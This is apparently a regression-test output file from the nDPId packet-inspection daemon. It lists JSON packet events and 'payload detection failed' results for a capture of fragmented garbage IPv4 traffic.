+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739228,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739241,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739253,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739262,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739270,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739282,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739328,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739343,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739358,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739370,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739385,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739413,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739484,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739496,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739520,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739532,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739544,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739556,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739568,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739579,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739611,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739625,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739641,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739653,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739665,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739677,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739691,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739703,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739727,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739739,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739751,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739764,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739775,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 